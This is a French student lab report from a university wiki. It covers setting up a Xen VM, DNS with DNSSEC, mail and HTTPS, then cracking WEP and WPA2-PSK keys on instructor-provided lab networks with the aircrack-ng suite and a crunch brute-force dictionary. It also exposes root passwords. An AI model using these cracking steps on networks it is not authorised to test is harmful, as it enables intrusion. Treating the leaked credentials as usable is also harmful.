On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54022TP sysres IMA2a5 2020/2021 G52020-11-27T19:34:28Z<p>Aglaine : /* Architecture réseau */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
Grace aux efforts de monsieur Xavier Redon pour permettre de joindre Capbreton a distance pendant le confinement avec la commande 'SSH'.<br />
<br />
On peux donc maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. <br />
<br />
Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. <br />
<br />
Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveurs DNS configurer on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. <br />
<br />
Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK).<br />
<br />
Puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. <br />
<br />
Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
